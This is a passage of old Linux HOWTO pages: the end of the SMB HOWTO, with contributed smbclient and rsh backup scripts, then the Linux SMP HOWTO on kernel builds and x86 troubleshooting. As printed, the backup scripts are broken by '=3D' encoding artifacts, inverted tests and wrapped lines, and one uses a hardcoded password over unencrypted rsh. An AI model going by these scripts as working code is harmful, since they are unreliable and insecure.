The side effect of this is that in your case, eng and colour can't print at the same time, (usually more or less transparent since they probably print quickly and since they queue you probably don't notice) but any other process that tries to write to /dev/null will break!

On a single user system, probably not a big problem. I have a system with over 50 printers. It would be a problem there.

The solution is to create a dummy printer for each. Eg: touch /dev/eng.

I have modified the lp entries in the printcap file above to take into account Rick's suggestion. I did the following:

#touch /dev/eng #touch /dev/colour

---Ends here

--------------------------------------------------------------


SMB HOWTO: Backing Up Windows Machines to a Linux Host

 Next Previous Contents

11. Backing Up Windows Machines to a Linux Host

Adam Neat ( adamneat@ipax.com.au) kindly contributed the following script to back up Windows machines to a Linux host, using the smbclient utility. Adam says that it is used to backup Windows 3.x and NT machines to a Linux based DAT SCSI Drive.

Adam is not proud of the coding style used here, but it works. As I like to say, "If it works and its stupid, then it is not stupid".

Another Windows backup script, contributed by Dan Tager ( dtager@marsala.com), is provided below. Dan's script also backs up Unix machines via rsh, although that could be modified to use ssh rather easily.

In this script, the string 'agnea1' is the username on the Linux machine that does the backups.

#!/bin/bash

clear
echo Initialising ...
checkdate=`date | awk '{print $1}'`

if [ -f "~agnea1/backup-dir/backup-data" ]; then

        echo "ERROR: No config file for today!"
        echo "FATAL!"
        exit 1
fi

if [ -d "~agnea1/backup-dir/temp" ]; then

        echo "ERROR: No tempoary directory found!"
        echo
        echo "Attempting to create"
        cd ~agnea1
        cd backup-dir
        mkdir temp
        echo "Directory Made - temp"
fi

if [ "$1" = "" ]; then

        echo "ERROR: enter in a machine name (ie: cdwriter)"
        exit 1
fi

if [ "$2" = "" ]; then

        echo "ERROR: enter in a SMB (Lan Manager) Resource (ie: work)"
        exit 1
fi

if [ "$3" = "" ]; then

        echo "ERROR: enter in an IP address for $1 (ie:
        130.xxx.xxx.52)" exit 1
fi

#############################################################################
# Main Section
#
#############################################################################

cd ~agnea1/backup-dir/temp
rm -r ~agnea1/backup-dir/temp/*
cd ~agnea1/backup-dir/

case "$checkdate"
in
        Mon)
                echo "Backuping for Monday"
                cat backup-data | /usr/local/samba/bin/smbclient
                \\\\$1\\$2 -I$3 -N echo "Complete"

                        if [ -d "~agnea1/backup-dir/Monday" ]; then
                                echo "Directory Monday Not found ...
                                making" mkdir
                                ~agnea1/backup-dir/Monday
                        fi

                echo "Archiving ..."
                cd ~agnea1/backup-dir/temp
                tar -cf monday.tar *                echo "done ..."
                rm ~agnea1/backup-dir/Monday/monday.tar
                mv monday.tar ~agnea1/backup-dir/Monday
                ;;

        Tue)
                echo "Backuping for Tuesday"
                cat backup-data | /usr/local/samba/bin/smbclient
                \\\\$1\\$2 -I$3 -N echo "Complete"

                        if [ -d "~agnea1/backup-dir/Tuesday" ]; then
                                echo "Directory Tuesday Not found ...
                                making" mkdir
                                ~agnea1/backup-dir/Tuesday
                        fi
                echo "Archiving ..."
                cd ~agnea1/backup-dir/temp
                tar -cf tuesday.tar *
                echo "done ..."
                rm ~agnea1/backup-dir/Tuesday/tuesday.tar
                mv tuesday.tar ~agnea1/backup-dir/Tuesday
                ;;

        Wed)
                echo "Backuping for Wednesday"
                cat backup-data | /usr/local/samba/bin/smbclient
                \\\\$1\\$2 -I$3 -N echo "Complete"

                        if [ -d "~agnea1/backup-dir/Wednesday" ]; then
                                echo "Directory Wednesday Not found
                                ... making" mkdir
                                ~agnea1/backup-dir/Wednesday
                        fi
                echo "Archiving ..."
                cd ~agnea1/backup-dir/temp
                tar -cf wednesday.tar *
                echo "done ..."
             rm ~agnea1/backup-dir/Wednesday/wednesday.tar
                mv wednesday.tar ~agnea1/backup-dir/Wednesday
                ;;

        Thu)
                echo "Backuping for Thrusday"
                cat backup-data | /usr/local/samba/bin/smbclient
                \\\\$1\\$2 -I$3 -N echo "Complete"

                        if [ -d "~agnea1/backup-dir/Thursday" ]; then
                                echo "Directory Thrusday Not found ...
                                making" mkdir
                                ~agnea1/backup-dir/Thursday
                        fi
                echo "Archiving ..."
                cd ~agnea1/backup-dir/temp
                tar -cf thursday.tar *
                echo "done ..."
                rm ~agnea1/backup-dir/Thursday/thursday.tar
                mv thursday.tar ~agnea1/backup-dir/Thursday
                ;;

        Fri)
                echo "Backuping for Friday"
                cat backup-data | /usr/local/samba/bin/smbclient
                \\\\$1\\$2 -I$3 -N echo "Complete"

                        if [ -d "~agnea1/backup-dir/Friday" ]; then
                                echo "Directory Friday Not found ...
                                making" mkdir
                                ~agnea1/backup-dir/Friday
                        fi
                echo "Archiving ..."
                cd ~agnea1/backup-dir/temp
                tar -cf friday.tar *
                echo "done ..."
                rm ~agnea1/backup-dir/Friday/friday.tar
                mv friday.tar ~agnea1/backup-dir/Friday
                ;;

        *)
                echo "FATAL ERROR: Unknown variable passed for day"
                exit 1;;

esac
###########

Here's Dan's backup script:

#!/bin/bash

BACKDIR=3D/backup
WINCMD=3D/usr/bin/smbclient

function CopyWinHost(){

# tars and gzips "windows shares" to a local directory using samba's
# smbclient
# argument 1 is the remote host window's host name
# argument 2 is the share name to be backed up

   echo $1,$2,$3
   REMOTE=3D$1
   SHARE=3D$2
   DEST=3D$3

 # create a tarred gzip file using samba to copy direct from a
 # windows pc
 # 12345 is a password.  Needs some password even if not defined on
 # remote system
   $WINCMD \\\\$REMOTE\\$SHARE 12345 -Tc -|gzip > $DEST
   echo `date`": Done backing up "$REMOTE" to "$DEST
   echo
}

function CopyUnixHost(){

# tars and gzips a directory using rsh
# argument 1 is the name of the remote source host
# argument 2 is the full path to the remote source directory
# argument 3 is the name of the local tar-gzip file.  day of week
#  plus .tgz will be appended to argument 3

   REMOTE=3D$1
   SRC=3D$2
   DEST=3D$3

   if rsh $REMOTE tar -cf - $SRC |gzip > $DEST; then
      echo `date`": Done backing up "$REMOTE":"$SRC" to "$DEST
   else
     echo `date`": Error backing up "$REMOTE":"$SRC" to "$DEST
   fi

}

# $1: win=3Dbackup windows machine, unix=3Dbackup unix machine
case $1 in
   win)
      # $2=3D remote windows name, $3=3Dremote share name,
      # $4=3Dlocal destination directory
      CopyWinHost $2 $3 $4;;
   unix)
      # $2 =3D remote host, $3 =3D remote directory,
      # $4 =3D destination name
      CopyUnixHost $2 $3 $4;;
esac


SMB HOWTO: Using Samba Across Routed Networks

 Next Previous Contents

12. Using Samba Across Routed Networks

Andrew Tridgell states that SMB host browsing across routers is problematic. Here are his suggestions to allow this:

-------------------------------------------------------------- For cross-subnet (ie. routed) browsing you should do the following. There are other methods but they are much more complex are error prone:

1) all computers that you want visible should use a single WINS server (Samba or NT can do this)

2) the master browser for each subnet must be either NT or Samba. (Win9X doesn't communicate cross-subnet browse info correctly)

3) You should use the same workgroup name on all subnets. This is not strictly necessary but it is the simplest way to guarantee success. If you can't arrange this then you must organise for a way for browse info to propogate between subnets. (It does *not* propogate via WINS). It propogates via two mechanisms: i) each browse master notices workgroup announcements from other browse masters on the same broadcast domain ii) each non-Win9X browse master contacts the global DMB for the workgroup (typically the domain controller or a Samba box marked as the domain master) and swaps full browse info periodically. --------------------------------------------------------------

Also, Rakesh Bharania points out that Cisco routers can be configured to forward SMB traffic in a way that allows browsing. His suggestion is to configure the router interface which hosts SMB clients with a command like this:

ip helper-address x.x.x.x

where x.x.x.x is the IP address of the SMB server.


SMB HOWTO: Acknowledgements

 Next Previous Contents

13. Acknowledgements

Special thanks to Andrew Tridgell ( tridge@linuxcare.com) for starting and directing the Samba project and for keeping this document honest.

Brad Marshall ( bmarshall@plugged.net.au) and Jason Parker ( jparker@plugged.net.au) contributed time, patience, scripting and research.

Adam Neat ( adamneat@ipax.com.au) and Dan Tager ( dtager@marsala.com) contributed the bash scripts used to back up Windows machines to a Linux host.

Matthew Flint () told me about the use of the 'interfaces' option in smb.conf.

Oleg L. Machulskiy ( machulsk@shade.msu.ru), Jeff Stern ( jstern@eclectic.ss.uci.edu), Dr. Michael Langner ( langner@fiz-chemie.de and Erik Ratcliffe ( erik@caldera.com) suggested modifications to the section on Sharing A Linux Printer With Windows Machines.

Alberto Menegazzi ( flash.egon@iol.it) contributed the MagicFilter setup to enable a Linux machine to share a Windows printer.

Rakesh Bharania ( rbharani@cisco.com) contributed the suggestion for Cisco router configuration.

Rich Gregory ( rtg2t@virginia.edu) and others suggested that this document show some details about the smbfs package and its use.

Andrea Girotto ( icarus@inca.dei.unipd.it) contributed a number of valuable suggestions throughout the document.

Thanks, also, to all of the international translators that have brought this HOWTO to the non-English speaking world: Takeo Nakano ( nakano@apm.seikei.ac.jp), Klaus-Dieter Schumacher ( Klaus-Dieter.Schumacher@fernuni-hagen.de), Andrea Girotto ( icarus@inca.dei.unipd.it), Mathieu Arnold ( arn_mat@club-internet.fr), Stein Oddvar Rasmussen ( Stein@kongsberg-energi.no) Nilo Menezes ( nmenezes@n3.com.br) and many others for whom I don't have contact details.


Linux SMP HOWTO

David Mentré, David.Mentre@irisa.fr

v1.12.1, 25 october 2000

This HOWTO reviews main issues (and I hope solutions) related to SMP configuration under Linux.

1. Licensing

2. Introduction

3. Questions related to any architectures

  • 3.1 Kernel Side
  • 3.2 User Side
  • 3.3 SMP Programming

4. x86 architecture specific questions

  • 4.1 Why it doesn't work on my machine?
  • 4.2 Possible causes of crash
  • 4.3 Motherboard specific information
  • 4.4 Low cost SMP Linux box (dual Celeron box)

5. Sparc architecture specific questions

  • 5.1 Which Sparc machines are supported ?
  • 5.2 Specific problem related to Sparc SMP support
  • 5.3 SMP specific limit with current kernel (2.2)

6. PowerPC architecture specific questions

  • 6.1 Which PPC machines are supported ?
  • 6.2 Specific problem related to PPC SMP support

7. Alpha architecture specific questions

  • 7.1 Which Alpha machines are supported ?
  • 7.2 Specific problem related to Alpha SMP support

8. Useful pointers

  • 8.1 Various
  • 8.2 Multithreaded programs and library
  • 8.3 SMP specific patches
  • 8.4 Parallelizing/Optimizing Compilers for 586/686 machines

9. Glossary

  • 9.1 Definitions
  • 9.2 Concepts

10. What's new ?

11. List of contributors


Linux SMP HOWTO: Licensing

 Next Previous Contents

1. Licensing

This document is made available under the terms of the GNU Free Documentation License. You should have received a copy with it. If not, it is available online at http://www.fsf.org/licenses/fdl.html.


Linux SMP HOWTO: Introduction

 Next Previous Contents

2. Introduction

Linux works on SMP (Symmetric Multi-Processors) machines. SMP support was introduced with kernel version 2.0, and has improved steadily ever since. The kernel locking granularity is much finer in 2.2.x than in 2.0.x, which enables better performance when processes are accessing the kernel!

HOWTO maintained by David Mentré ( David.Mentre@irisa.fr). The latest edition of this HOWTO can be found at

  • http://www.irisa.fr/prive/mentre/smp-howto/ (France)
  • http://www.phy.duke.edu/brahma/smp-faq/ (USA)

If you want to contribute to this HOWTO, I would prefer a diff against the SGML version of this document, but any remarks (in plain text) will be greatly appreciated. If you send me an email about this HOWTO, please include a tag like [Linux SMP HOWTO] in the Subject: field of your e-mail. It helps me to automatically sort mails (and you will have a faster reply ;)).

This HOWTO is an improvement of a first draft made by Chris Pirih.

All information contained in this HOWTO is provided "as is." All warranties, expressed, implied or statutory, concerning the accuracy of the information of the suitability for any particular use are hereby specifically disclaimed. While every effort has been taken to ensure the accuracy of the information contained in this HOWTO, the authors assume no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.


Linux SMP HOWTO: Questions related to any architectures

 Next Previous Contents

3. Questions related to any architectures

3.1 Kernel Side

  1. Does Linux support multi-threading? If I start two or more processes, will they be distributed among the available CPUs?

    Yes. Processes and kernel-threads are distributed among processors. User-space threads are not.

  2. What kind of architectures are supported in SMP?

    From Alan Cox:

    SMP is supported in 2.0 on the hypersparc (SS20, etc.) systems and Intel 486, Pentium or higher machines which are Intel MP1.1/1.4 compliant. Richard Jelinek adds: right now, systems have been tested up to 4 CPUs and the MP standard (and so Linux) theoretically allows up to 16 CPUs.

    SMP support for UltraSparc, SparcServer, Alpha and PowerPC machines is in available in 2.2.x.

    From Ralf Bächle:

    MIPS, m68k and ARM does not support SMP; the latter two probly won't ever.

    That is, I'm going to hack on MIPS-SMP as soon as I get a SMP box ...

  3. How do I make a Linux SMP kernel?

    Most Linux distributions don't provide a ready-made SMP-aware kernel, which means that you'll have to make one yourself. If you haven't made your own kernel yet, this is a great reason to learn how. Explaining how to make a new kernel is beyond the scope of this document; refer to the Linux Kernel Howto for more information. (C. Polisher)

    In kernel series 2.0 up to but not including 2.1.132, uncomment the SMP=1 line in the main Makefile (/usr/src/linux/Makefile).

    In the 2.2 version, configure the kernel and answer "yes" to the question "Symmetric multi-processing support" (Michael Elizabeth Chastain).

    AND

    enable real time clock support by configuring the "RTC support" item (in "Character Devices" menu) (from Robert G. Brown). Note that inserting RTC support actually doesn't afaik prevent the known problem with SMP clock drift, but enabling this feature prevents lockup when the clock is read at boot time. A note from Richard Jelinek says also that activating the Enhanced RTC is necessary to get the second CPU working (identified) on some original Intel Mainboards.

    AND

    (x86 kernel) do NOT enable APM (advanced power management)! APM and SMP are not compatible, and your system will almost certainly (or at least probably ;)) crash while booting if APM is enabled (Jakob Oestergaard). Alan Cox confirms this : 2.1.x turns APM off for SMP boxes. Basically APM is undefined in the presence of SMP systems, and anything could occur.

    AND

    (x86 kernel) enable "MTRR (Memory Type Range Register) support". Some BIOS are buggy as they do not activate cache memory for the second processor. The MTRR support contains code that solves such processor misconfiguration.

    You must rebuild all your kernel and kernel modules when changing to and from SMP mode. Remember to make modules and make modules_install (from Alan Cox).

    If you get module load errors, you probably did not rebuild and/or re-install your modules. Also with some 2.2.x kernels people have reported problems when changing the compile from SMP back to UP (uni-processor). To fix this, save your .config file, do make mrproper, restore your .config file, then remake your kernel (make dep, etc.) (Wade Hampton). Do not forget to run lilo after copying your new kernel.

    Recap:

    make config # or menuconfig or xconfig
make dep
make clean
make bzImage # or whatever you want
# copy the kernel image manually then RUN LILO
# or make lilo
make modules
make modules_install

  4. How do I make a Linux non-SMP kernel?

    In the 2.0 series, comment the SMP=1 line in the main Makefile (/usr/src/linux/Makefile).

    In the 2.2 series, configure the kernel and answer "no" to the question "Symmetric multi-processing support" (Michael Elizabeth Chastain).

    You must rebuild all your kernel and kernel modules when changing to and from SMP mode. Remember to make modules and make modules_install and remember to run lilo. See notes above about possible configuration problems.

  5. How can I tell if it worked?

     cat /proc/cpuinfo

    Typical output (dual PentiumII):

    processor       : 0
cpu             : 686
model           : 3
vendor_id       : GenuineIntel
[...]
bogomips        : 267.06

processor       : 1
cpu             : 686
model           : 3
vendor_id       : GenuineIntel
[...]
bogomips        : 267.06

  6. What is the status of converting the kernel toward finer grained locking and multithreading?

    Linux kernel version 2.2 has signal handling, interrupts and some I/O stuff fine grain locked. The rest is gradually migrating. All the scheduling is SMP safe.

    Kernel version 2.3 (next 2.4) has really fine grained locking. In the 2.3 kernels the usage of the big kernel lock has basically disappeared, all major Linux kernel subsystems are fully threaded: networking, VFS, VM, IO, block/page caches, scheduling, interrupts, signals, etc. (Ingo Molnar)

  7. Does Linux SMP support processor affinity?

    Standard kernel

    No and Yes. There is no way to force a process onto specific CPU's but the linux scheduler has a processor bias for each process, which tends to keep processes tied to a specific CPU.

    Patch

    Yes. Look at PSET - Processor Sets for the Linux kernel:

    The goal of this project is to make a source compatible and functionally equivalent version of pset (as defined by SGI - partially removed from their IRIX 6.4 kernel) for Linux. This enables users to determine which processor or set of processors a process may run on. Possible uses include forcing threads to separate processors, timings, security (a `root' only CPU?) and probably more.

    It is focused around the syscall sysmp(). This function takes a number of parameters that determine which function is requested. Functions include:

    • binding a process/thread to a specific CPU
    • restricting a CPU's ability to execute some processes
    • restricting a CPU from running at all
    • forcing a cpu to run _only_ one process (and its children)
    • getting information about a CPU's state
    • creating/destroying sets of processors, to which processes may be bound

  8. Where should one report SMP bugs to?

    Please report bugs to linux-smp@vger.kernel.org.

  9. What about SMP performance?

    If you want to gauge the performance of your SMP system, you can run some tests made by Cameron MacKinnon and available at http://www.phy.duke.edu/brahma/benchmarks.smp.

    Also have a look at this article by Bryant, Hartner, Qi and Venkitachalam that compares 2.2 and 2.3/2.4 UP and SMP kernels : SMP Scalability Comparisons of Linux¨ Kernels 2.2.14 and 2.3.99 (Ray Bryant) (You'll find also a copy here)

3.2 User Side

  1. Do I really need SMP?

    If you have to ask, you probably don't. :) Generally, multi-processor systems can provide better performance than uni-processor systems, but to realize any gains you need to consider many other factors besides the number of CPU's. For instance, on a given system, if the processor is generally idle much of the time due to a slow disk drive, then this system is "input/output bound", and probably won't benefit from additional processing power. If, on the other hand, a system has many simultaneously executing processes, and CPU utilization is very high, then you are likely to realize increased system performance. SCSI disk drives can be very effective when used with multiple processors, due to the way they can process multiple commands without tying up the CPU. (C. Polisher)

  2. Do I get the same performance from 2-300 MHz processors as from one 600 MHz processor?

    This depends on the application, but most likely not. SMP adds some overhead that a faster uniprocessor box would not incur (Wade Hampton). :)

  3. How does one display mutiple cpu performance?

    Thanks to Samuel S. Chessman, here are some useful utilities:

    Character based:

    http://www.cs.inf.ethz.ch/~rauch/procps.html

    Basically, it's procps v1.12.2 (top, ps, et. al.) and some patches to support SMP.

    For 2.2.x, Gregory R. Warnes as made a patch available at http://queenbee.fhcrc.org/~warnes/procps

    Graphic:

    xosview-1.5.1 supports SMP. And kernels above 2.1.85 (included) the cpuX entry in /proc/stat file.

    The official homepage for xosview is: http://lore.ece.utexas.edu/~bgrayson/xosview.html

    You'll find a version patched for 2.2.x kernels by Kumsup Lee : http://www.ima.umn.edu/~klee/linux/xosview-1.6.1-5a1.tgz

    By the way, you can't monitor processor scheduling precisely with xosview, as xosview itself causes a scheduling perturbation. (H. Peter Anvin)

    And Rik van Riel tell us why:

    The answer is pretty simple. Basically there are 3 processes involved:
    1. the cpu hog (low scheduling priority because it eats CPU)
    2. xosview
    3. X

    The CPU hog is running on one CPU. Then xosview wakes up (on the other CPU) and starts sending commands to X, which wakes up as well.

    Since both X and xosview have a much higher priority than the CPU hog, xosview will run on one CPU and X on the other.

    Then xosview stops running and we have an idle CPU --> Linux moves the CPU hog over to the newly idle CPU (X is still running on the CPU our hog was running on just before).

  4. How can I enable more than 1 process for my kernel compile?

    use:

            # make [modules|zImage|bzImages] MAKE="make -jX"
        where X=max number of processes.
        WARNING: This won't work for "make dep".

    With a 2.2 like kernel, see also the file /usr/src/linux/Documentation/smp.txt for specific instruction.

    BTW, since running multiple compilers allows a machine with sufficient memory to use use the otherwise wasted CPU time during I/O caused delays, make MAKE="make -j 2" -j 2 actually helps even on uniprocessor boxes (from Ralf Bächle).

  5. Why is the time given by the time command inaccurate? (from Joel Marchand)

    In the 2.0 series, the result given by the time command is false. The sum user+system is right *but* the spreading between user and system time is false.

    More precisely: "The explanation is, that all time spent in processors other than the boot cpu is accounted as system time. If you time a program, add the user time and the system time, then you timing will be almost right, except for also including the system time that is correctly accounted for" (Jakob Østergaard).

    This bug is corrected in 2.2 kernels.

3.3 SMP Programming

Section by Jakob Østergaard.

This section is intended to outline what works, and what doesn't when it comes to programming multi-threaded software for SMP Linux.

Parallelization methods

  1. POSIX Threads
  2. PVM / MPI Message Passing Libraries
  3. fork() -- Multiple processes

Since both fork() and PVM/MPI processes usually do not share memory, but either communicate by means of IPC or a messaging API, they will not be described further in this section. They are not very specific to SMP, since they are used just as much - or more - on uniprocessor computers, and clusters thereof.

Only POSIX Threads provide us with multiple threads sharing ressources like - especially - memory. This is the thing that makes a SMP machine special, allowing many processors to share their memory. To use both (or more ;) processors of an SMP, use a kernel-thread library. A good library is the LinuxThreads, a pthread library made by Xavier Leroy which is now integrated with glibc2 (aka libc6). Newer Linux distributions include this library by default, hence you do not have to obtain a separate package to use kernel threads.

There are implementations of threads (and POSIX threads) that are application-level, and do not take advantage of the kernel-threading. These thread packages keep the threading in a single process, hence do not take advantage of SMP. However, they are good for many applications and tend to actually run faster than kernel-threads on single processor systems.

Multi-threading has never been really popular in the UN*X world though. For some reason, applications requiring multiple processes or threads, have mostly been written using fork(). Therefore, when using the thread approach, one runs into problems of incompatible (not thread-ready) libraries, compilers, and debuggers. GNU/Linux is no exception to this. Hopefully the next few sections will sched a little light over what is currently possible, and what is not.

The C Library

Older C libraries are not thread-safe. It is very important that you use GNU LibC (glibc), also known as libc6. Earlier versions are, of course possible to use, but it will cause you much more trouble than upgrading your system will, well probably :)

If you want to use GDB to debug your programs, see below.

Languages, Compilers and debuggers

There is a wealth of programming languages available for GNU/Linux, and many of them can be made to use threads one way or the other (some languages like Ada and Java even have threads as primitives in the language).

This section will, however, currently only describe C and C++. If you have experience in SMP Programming with other languages, please enlighten us.

GNU C and C++, as well as the EGCS C and C++ compilers work with the thread support from the standard C library (glibc). There are however a few issues:

  1. When compiling C or C++, use the -D_REENTRANT define in the compiler command line. This is necessary to make certain error-handling functions work like the errno variable.
  2. When using C++, If two threads throw exceptions concurrently, the program will segfault. The compiler does not generate thread-safe exception code. The workaround is to put a pthread_mutex_lock(&global_exception_lock) in the constructor(s) of every class you throw(), and to put the corresponding pthread_mutex_unlock(...) in the destructor. It's ugly, but it works. This solution was given by Markus Ferch.

The GNU Debugger GDB as of version 4.18, should handle threads correctly. Most Linux distribution offer a patched, thread-aware gdb.

It is not necessary to patch glibc in any way just to make it work with threads. If you do not need to debug the software (this could be true for all machines that are not development workstations), there is no need to patch glibc.

Note that core-dumps are of no use when using multiple threads. Somehow, the core dump is attached to one of the currently running threads, and not to the program as a whole. Therefore, whenever you are debugging anything, run it from the debugger.

Hint: If you have a thread running haywire, like eating 100% CPU time, and you cannot seem to figure out why, here is a nice way to find out what's going on: Run the program straight from the shell, no GDB. Make the thread go haywire. Use top to get the PID of the process. Run GDB like gdb program pid. This will make GDB attach itself to the process with the PID you specified, and stop the thead. Now you have a GDB session with the offending thread, and can use bt and the like to see what is happening.

Other libraries

ElectricFence: This library is not thread safe. It should be possible, however, to make it work in SMP environments by inserting mutex locks in the ElectricFence code.

Other points about SMP Programming

  1. Where can I found more information about parallel programming?

    Look at the Linux Parallel Processing HOWTO

    Lots of useful information can be found at Parallel Processing using Linux

    Look also at the Linux Threads FAQ

  2. Are there any threaded programs or libraries?

    Yes. For programs, you should look at: Multithreaded programs on linux (I love hyperlinks, did you know that ? ;))

    As far as library are concerned, there are:

    OpenGL Mesa library

    Thanks to David Buccarelli, Andreas Schiffler and Emil Briggs, it exists in a multithreaded version (right now [1998-05-11], there is a working version that provides speedups of 5-30% on some OpenGL benchmarks). The multithreaded stuff is now included in the regular Mesa distribution as an experimental option. For more information, look at the Mesa library

    BLAS

    Pentium Pro Optimized BLAS and FFTs for Intel Linux

    Multithreaded BLAS routines are not available right now, but a dual proc library is planned for 1998-05-27, see Blas News for details.

    The GIMP

    Emil Briggs, the same guy who is involved in multithreaded Mesa, is also working on multithreaded The GIMP plugins. Look at http://nemo.physics.ncsu.edu/~briggs/gimp/index.html for more info.


Linux SMP HOWTO: x86 architecture specific questions

 Next Previous Contents

4. x86 architecture specific questions

4.1 Why it doesn't work on my machine?

  1. Can I use my Cyrix/AMD/non-Intel CPU in SMP?

    Short answer: no.

    Long answer: Intel claims ownership to the APIC SMP scheme, and unless a company licenses it from Intel they may not use it. There are currently no companies that have done so. (This of course can change in the future) FYI - Both Cyrix and AMD support the non-proprietary OpenPIC SMP standard but currently there are no motherboards that use it.

  2. Why doesn't my old Compaq work?

    Put it into MP1.1/1.4 compliant mode.

    check "Configure Hardware" -> "View / Edit details" -> "Advanced mode" (F7 I think) for a configuration option "APIC mode" and set this to "full Table mode". This is an official Compaq recommandation. (Daniel Roesen)

    (Adrian Portelli)To do this:

    1. Press F10 when the server boots to enter the System Configuration Utility
    2. Press Enter to dismiss the splash screen
    3. Immediately press CTRL+A
    4. A message will appear informing you that you are now in "Advanced Mode"
    5. Then select "Configure Hardware" -> "View / Edit details"
    6. You will then see the advanced settings (intermixed with the ordinary ones)
    7. Stroll down to "APIC Mode" and then select "Fully Mapped"
    8. Save changes and reboot

  3. Why doesnt my ALR work?

    >From Robert Hyatt : ALR Revolution quad-6 seems quite safe, while some older revolution quad machines without P6 processors seem "iffy"...

  4. Why does SMP go so slowly? or Why does one CPU show a very low bogomips value while the first one is normal?

    >From Alan Cox: If one of your CPU's is reporting a very low bogomips value the cache is not enabled on it. Your vendor probably provides a buggy BIOS. Get the patch to work around this or better yet send it back and buy a board from a competent supplier.

    A 2.0 kernel (> 2.0.36) contains the MTRR patch which should solve this problem (select option "Handle buggy SMP BIOSes with bad MTRR setup" in the "General setup" menu).

    I think buggy SMP BIOS handling is automatic in latest 2.2 kernels.

  5. I've heard IBM machines have problems

    Some IBM machines have the MP1.4 bios block in the EBDA, allowed but not supported below 2.2 kernels.

    There is an old 486SLC based IBM SMP box. Linux/SMP requires hardware FPU support.

  6. Is there any advantage of Intel MP 1.4 over 1.1 specification?

    Nope (according to Alan :) ), 1.4 is just a stricker specs of 1.1.

  7. Why does the clock drift so rapidly when I run linux SMP?

    This is known problem with IRQ handling and long kernel locks in the 2.0 series kernels. Consider upgrading to a later 2.2 kernel.

    >From Jakob Oestergaard: Or, consider running xntpd. That should keep your clock right on time. (I think that I've heard that enabling RTC in the kernel also fixes the clock drift. It works for me! but I'm not sure whether that's general or I'm just being lucky)

    There are some kernel fixes in the later 2.2.x series that may fix this.

  8. Why are my CPU's numbered 0 and 2 instead of 0 and 1 (or some other odd numbering)?

    The CPU number is assigned by the MB manufacturer and doesn't mean anything. Ignore it.

  9. My quad-Xeon system hangs as soon as it has decompressed the kernel

    (Doug Ledford) Try recompiling LILO with LARGE_EBDA support and then making sure to always use make bzImage when compiling the kernel. That appears to have fixed the SMP boot hangs here on Intel multi-Xeon boards. However, please note that this also appears to break LILO in that the root= option no longer works, so make sure you rdev your kernel image at the same time you run lilo to make sure that the kernel loads the correct root filesystem at boot.

    (Robert M. Hyatt) With 3 cpus, do you have a terminator in the 4th slot?

  10. During boot machine hang signaling an IOAPIC problem

    Try boot options "noapic" (John Aldrich) and/or "reboot=bios" (Terry Shull).

  11. My system locks up during heavy NFS traffic

    Try the later 2.2.x kernels and the knfsd patches. This is currently under investigation. (Wade Hampton)

  12. My system locks up with no oops messages

    If you are using kernels 2.2.11 or 2.2.12, get the latest kernel. For example 2.2.13 has a number of SMP fixes. Several people have reported these kernels to be unstable for SMP. These same kernels may have NFS problems that can cause lockups. Also, use a serial console to capture your oops messages. (Wade Hampton)

    If the problem remains (and the other suggestions on this list didn't help either), then you could try the latest 2.3 kernels. They have more verbose (and more robust) SMP/APIC code, and automatic hard-lockup-prevention code which will produce meaningful oopses instead of a silent hang. (Ingo Molnar)

    (Osamu Aoki) You MUST also disable all BIOS related power save features. Example of good configuration (Dual Celeron 466 Abit BP6):

     POWER MANAGEMENT SETUP.
   ACPI:              Disabled
   POWER MANAGEMENT:  Disabled
   PM CONTROL by APM: No
    If power management features are activated, some random freeze can occur.

  13. Debugging lockups

    (item by Wade Hampton)

    A good means of debugging lockups is to get the ikd patch from Andrea Arcangeli: ftp://ftp.suse.com/pub/people/andrea/kernel-patches

    There are several of debug options, but do NOT use the soft lockup option! For newer SMP boxes, turn kernel debugging then turn on the NMI oopser. To verify that the NMI oopser is working, after booting the new kernel, /cat /proc/interrupts and verify that you are getting NMIs. When the box locks up, you should get an OOPS.

    You may also try the %eip option. This allows the kernel to print on the console the %eip address every time a kernel function is called. When the box locks up, write down the first column ordered by the second column then lookup the addresses in the System.map file. This works only in console mode.

    Also note that the use of a serial console can greatly facilitate debugging kernel lockups, not just SMP kernel lockups!

  14. "APIC error interrupt on CPU#n, should never happen" messages in logs

    A message like:

    APIC error interrupt on CPU#0, should never happen.
... APIC ESR0: 00000002
... APIC ESR1: 00000000
    indicates a 'receive checksum error'. This cannot be caused by Linux as the APIC message checksumming part is completely in hardware. It might be marginal hardware. As long as you dont see any instability, they are not a problem - APIC messages are retried until delivered. (Ingo Molnar)

4.2 Possible causes of crash

In this section you'll find some possible reasons for a crash of an SMP machine (credits are due to Jakob Østergaard for this part). As far as I (David) know, theses problems are Intel specific.

  • Cooling problems

    >From Ralf Bächle: [Related to case size and fans] It's important that the air is flowing. It of course can't where cables etc. are preventing this like in too small cases. On the other side I've seen oversized cases causing big problems. There are some tower cases on the market that actually are worse for cooling than desktops. In short, the right thing is thinking about aerodynamics in the case. Extra cases for hot peripherals are usefull as well.

    Of course you can always go to Radio Shack (or similar) and get another fan. You can use the lm_sensors to monitor the CPU temperature of newer PII and PIII processors. This might help you to determine if heat is a problem. (Wade Hampton)

  • Bad memory

    Don't buy cheap RAM and don't use mixed RAM modules on a motherboard that is picky about it.

    Especially Tyan motherboards are known to be picky about RAM speed.

    There have been some report of 10ns PC100 RAM being sold with motherboards where the CPU really needs 8ns RAM. (Wade Hampton)

  • Bad combination of different stepping CPUs

    Check /proc/cpuinfo to see that your CPUs are same stepping.

  • If your system is unstable, then DON'T overclock it!

    ...and even if it is stable, DON'T overclock.

    >From Ralf Bächle: Overclocking causes very subtle problems. I have a nice example, one of my overclocked old machines misscomputes a couple of pixels of a 640 x 400 fractal. The problem is only visible when comparing them using tools. So better say never, nuncas, jamais, niemals overclock.

  • 2.0.x kernel and fast ethernet (from Robert G. Brown)

    2.0.x kernels on high performance fast ethernet systems have significant (and known) problems with a race/deadlock condition in the networking interrupt handler.

    The solution is to get the latest 100BT development drivers from CESDIS Linux Ethernet device drivers site (ones that define SMPCHECK).

  • A bug in the 440FX chipset (from Emil Briggs)

    If you had a system using the 440FX chipset then your problem with the lockups was possibly due to a documented errata in the chipset. Here is a reference

    References: Intel 440FX PCIset 82441FX (PMC) and 82442FX (DBX) Specification Update. pg. 13

    http://www.intel.com/design/pcisets/specupdt/297654.htm

    The problem can be fixed with a BIOS workaround (Or a kernel patch) and in fact David Wragg wrote a patch that's included with Richard Gooch's MTTR patch. For more information and a fix look here:

    http://nemo.physics.ncsu.edu/~briggs/vfix.html

  • DONT run emm386.exe before booting linux SMP

    >From Mark Duguid, dumb rule #1 with W6LI motherboards. ;)

